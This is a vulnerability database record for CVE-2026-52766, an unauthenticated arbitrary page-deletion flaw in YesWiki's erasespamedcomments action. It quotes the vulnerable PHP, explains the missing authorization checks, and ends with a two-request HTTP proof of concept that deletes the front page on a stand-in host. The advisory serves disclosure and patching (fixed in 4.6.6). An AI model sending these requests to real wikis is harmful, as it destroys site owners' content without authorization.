{"id":"CVE-2026-52766","aliases":["GHSA-6x7x-gcmf-7r8x"],"url":"https://o3.security/vulnerability/CVE-2026-52766","summary":"YesWiki: Unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action","details":"### Summary\n\nThe `{{erasespamedcomments}}` wiki action (`actions/EraseSpamedCommentsAction.php`) accepts a `suppr[]` array from `POST` and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (`default_write_acl='*'`) on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users.\n\nThe action's `delete()` callee is `PageManager::deleteOrphaned()`, which despite its name does not check whether the target page is orphaned: it issues an unconditional `DELETE` against `pages`, `links`, `acls`, `triples`, `referrers`, and `tags` tables.\n\n### Details\n\nThree issues compose the vulnerability.\n\n1. `actions/EraseSpamedCommentsAction.php` performs no authorization check before processing `$_POST['clean']` / `$_POST['suppr'][]` in `actions/EraseSpamedCommentsAction.php`:\n\n   ```php\n   public function run()\n   {\n       $wiki = &$this->wiki;\n       ob_start();\n       // ...\n       elseif (isset($_POST['clean'])) {              \n           $deletedPages = '';\n           if (!empty($_POST['suppr'])) {            \n               foreach ($_POST['suppr'] as $page) {\n                   echo 'Effacement de : ' . $page . \"<br />\\n\";\n                   if ($wiki->services->get(PageController::class)->delete($page)) {  \n                       $deletedPages .= $page . ', ';\n                   }\n               }\n           }\n           \n       }\n   }\n   ```\n\n   No `UserIsAdmin()`, no `UserIsOwner()`, no `HasAccess('write', $page)` per-target check, no CSRF token check.\n\n2. The default action ACL grants access to everyone in `includes/YesWiki.php`:\n\n   ```php\n   $acl = empty($this->config['permissions'][$moduleType][$module])\n       ? '*'\n       : $this->config['permissions'][$moduleType][$module];\n   ```\n\n   ```php\n   if ($acl === null) { return true; }\n   return $this->CheckACL($acl, $user);\n   ```\n\n   No shipped `permissions` map gates `erasespamedcomments` to admins, so `Performer::CheckModuleACL('erasespamedcomments', 'action')` returns `true` for anonymous users.\n\n3. `PageController::delete()` and `PageManager::deleteOrphaned()` perform no authorization check and do not validate that the page is actually orphaned in `includes/controllers/PageController.php:38–48`:\n\n   ```php\n   public function delete(string $tag): bool\n   {\n       if ($this->entryManager->isEntry($tag)) {\n           return $this->entryController->delete($tag);\n       } else {\n           $this->pageManager->deleteOrphaned($tag);\n           $this->wiki->LogAdministrativeAction(\n               $this->authController->getLoggedUserName(),\n               'Suppression de la page ->\"\"' . $tag . '\"\"'\n           );\n           return true;\n       }\n   }\n   ```\nin `includes/services/PageManager.php:289–310`:\n   ```php\n   public function deleteOrphaned($tag)\n   {\n       if ($this->securityController->isWikiHibernated()) { throw new \\Exception(_t('WIKI_IN_HIBERNATION')); }\n       unset($this->ownersCache[$tag]);\n       if (in_array($tag, $this->pageCache)) { unset($this->pageCache[$tag]); }\n       $this->dbService->query(\"DELETE FROM ... WHERE tag='{$this->dbService->escape($tag)}' OR comment_on='{$this->dbService->escape($tag)}'\");\n       $this->dbService->query(\"DELETE FROM ...links... WHERE from_tag='{$this->dbService->escape($tag)}' \");\n       $this->dbService->query(\"DELETE FROM ...acls... WHERE page_tag='{$this->dbService->escape($tag)}' \");\n       // ...further unconditional DELETEs across triples, referrers, tags\n   }\n   ```\n\n   The companion `isOrphaned()` method (line 284) exists but is never called from `deleteOrphaned()`. The function name is misleading as it deletes any page, not just orphans.\n\n### PoC\n\nDefault fresh install where `default_write_acl='*'` (per `includes/YesWikiInit.php:219`), anonymous browsing.\n\n1. create a trigger page (anonymous)\n\n```http\nPOST /?wiki=SpamCleanup/edit HTTP/1.1\nHost: target.example\nContent-Type: application/x-www-form-urlencoded\n\nbody=%7B%7Berasespamedcomments%7D%7D&submit=1\n```\n\nThis succeeds because the new page passes `aclService->hasAccess('write', 'SpamCleanup')` against `default_write_acl='*'`.\n\n2. trigger arbitrary page deletion (anonymous)\n\n```http\nPOST /?wiki=SpamCleanup HTTP/1.1\nHost: target.example\nContent-Type: application/x-www-form-urlencoded\n\nclean=yes&suppr%5B0%5D=PagePrincipale&suppr%5B1%5D=AnotherTargetPage\n```\n\nServer response includes `Effacement de : PagePrincipale` and `Effacement de : AnotherTargetPage`. `pages`, `links`, `acls`, `triples`, `referrers`, and `tags` rows for those tags are deleted from the database.\n\n### Impact\n\n Arbitrary page deletion, including the front page (`PagePrincipale`).","published":"2026-09-04T23:40:12.087Z","modified":"2026-10-21T02:58:27.470906619Z","cvss":{"score":9.1,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},"epss":{"score":0.00331,"percentile":0.26351,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"yeswiki/yeswiki","fixedVersion":"4.6.6"}],"fix":{"url":"https://github.com/YesWiki/yeswiki/commit/ed5b548a705c8091ba0282aaaba73ddda976abef","label":"YesWiki/yeswiki@ed5b548"},"references":[{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/releases/tag/v4.6.6"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/52xxx/CVE-2026-52766.json"},{"type":"ADVISORY","url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-6x7x-gcmf-7r8x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52766"},{"type":"FIX","url":"https://github.com/YesWiki/yeswiki/commit/ed5b548a705c8091ba0282aaaba73ddda976abef"},{"type":"PACKAGE","url":"https://github.com/YesWiki/yeswiki"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:58:27.470906619Z"}}